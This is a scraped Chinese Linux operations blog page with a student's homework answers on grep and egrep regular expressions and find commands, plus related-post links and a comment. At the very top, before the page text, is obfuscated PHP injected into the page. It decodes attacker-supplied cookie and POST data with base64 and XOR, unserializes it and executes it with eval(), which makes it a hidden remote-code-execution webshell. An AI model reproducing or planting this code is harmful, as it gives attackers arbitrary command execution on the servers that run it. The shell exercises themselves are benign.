$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} N23_第五周 | Linux运维部落

N23_第五周

1.显示/boot/grub/grub.conf中以至少一个空白字符开头的行

egrep "^[[:space:]]{1,}" /boot/grub/grub.conf

2.显示/etc/rc.d/rc.sysinit文件中以#开头,后面跟至少一个空白字符,而后又有至少一个非空白字符的行

egrep "^#[[:space:]]{1,}.*[^[:space:]]" /etc/rc.d/rc.sysinit

3.打出netstat -tan命令执行结果中以‘LISTEN’,后或跟空白字符结尾的行

netstat -nat | grep "LISTEN[[:space:]]*$" 

4.添加用户bash, testbash, basher, nologin (此一个用户的shell为/sbin/nologin),而后找出当前系统上其用户名和默认shell相同的用户的信息

useradd bash useradd testbash useradd basher useradd -r nologin -s /sbin/nologin for i in `cut -d: -f1 /etc/passwd`;do egrep "^($i):.*\1$" /etc/passwd ;done 

5.显示当前系统上root、fedora或user1用户的默认shell

egrep ^'root|fedora|user1' /etc/passwd|cut -d: -f7

6.找出/etc/rc.d/init.d/functions文件中某单词后面跟一组小括号的行,形如:hello()

grep "[[:alpha:]]\+()" /etc/rc.d/init.d/functions

7.使用echo命令输出一个绝对路径,使用grep取出其基名;

echo "/var/log/usr/file only" |grep -o "[^/]*$" 

扩展:取出其路径名

echo "/var/log/usr/message" | grep -o "/.*/" 

8.找出ifconfig命令结果中的1-255之间数字;

/sbin/ifconfig |egrep "\b([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-9])\b" 

9.挑战题:写一个模式,能匹配合理的IP地址

ifconfig | grep-E-o”\<((1?[0-9][0-9]?|2[0-4][0-9]|25[0-4])\.){3}(1?[0-9][0-9]?|2[0-4][0-9]|25[0-4])\>”

10.挑战题:写一个模式,能匹配出所有的邮件地址

egrep "[[:alnum:]_.-]*@[[:alnum:]]*(\.[[:alpha:]]*){1,}" mail.txt

11.查找/var目录下属主为root,且属组为mail的所有文件或目录

find /var -user root -group mail

12.查找当前系统上没有属主或属组的文件;

find / -nouser -o -nogroup -type f

进一步:查找当前系统上没有属主或属组,且最近3天内曾被访问过的文件或目录

find / \( -nouser -o -nogroup \) -a -atime -3 -type f

13.查找/etc目录下所有用户都有写权限的文件

$ find /etc -perm -222 -type f

14.查找/etc目录下大于1M,且类型为普通文件的所有文件

find /etc -size +1M -type f  
/etc/selinux/targeted/modules/active/policy.kern
/etc/selinux/targeted/policy/policy.24

15.查找/etc/init.d/目录下,所有用户都有执行权限,且其它用户有写权限的文件

find /etc/init.d -perm -113

16.查找/usr目录下不属于root、bin或hadoop的文件

find /usr \( ! -user root -a ! -user bin -a ! -user hadoop \) -type f

17.查找/etc/目录下至少有一类用户没有写权限的文件

find /etc ! -perm /222 -type f

18.查找/etc目录下最近一周内其内容被修改过,且不属于root或hadoop的文件

find /etc -mtime -7 -a \( ! -user root -a ! -user hadoop \) 

原创文章,作者:a279854458,如若转载,请注明出处:http://www.178linux.com/70154

(0)
上一篇 2017-02-27 13:52
下一篇 2017-02-27 15:29

相关推荐

  • shell脚本编程入门(一)

    概述 shell脚本就像是早期DOS年代的批处理文件(.bat),最简单的功能就是将许多命令写在一起,让用户很轻松能够一下子处理复杂的操作(执行一个脚本就能够一次执行多个命令)。而shell脚本更提供数组、循环、条件与逻辑判断等功能,让用户也可以直接以shell来编写程序,而不必使用类似C语言等传统程序编写的语法。 shell脚本基础 shell脚本是包含一…

    Linux干货 2016-08-15
  • 源码编译安装之apache

    工具: Development tools组包 httpd-2.2.9.tar.gz links网站浏览工具   安装apache之前需要安装编译需要的环境“Development tools”这个是编译使用的必须的环境包,使用下面的命令可以安装。 [root@CentOS6 ~]# yum groupinstall&…

    Linux干货 2016-08-24
  • 关于Linux系统无法启动的问题(1)

                                  &nbsp…

    2017-09-04
  • 第八周作业(网络、bash脚本)

    1-3,计算机网络基础博客已总结,简要补充 协议的分层 为了使那些比较复杂的网络协议更加简单化。ISO根据各通信协议的功能将网络体系分成七层。 在这个分层中,下层为上一层提供服务。上下层之间进行交互时所遵循的约定叫做“接口”。同层之间的交互所遵循的约定叫做“协议” 说的更形象一点,两个中国人打电话这个通信。就可以分为两层,同层之间的叫协议,我说汉语,你也说汉…

    Linux干货 2016-12-18
  • 文件的从属权限和特殊权限

    基础权限   rwx     经过今天的洗礼,了解了文件的权限位(rwx),而权限对于目录和文件有着不同的意义     使用ls -l 命令后可以看到     -rw-r–r–. 1 root root 1…

    Linux干货 2016-08-04

评论列表(1条)

  • 马哥教育
    马哥教育 2017-03-06 19:38

    写的很好,唯一遗憾的是没有演示结果输出,请加油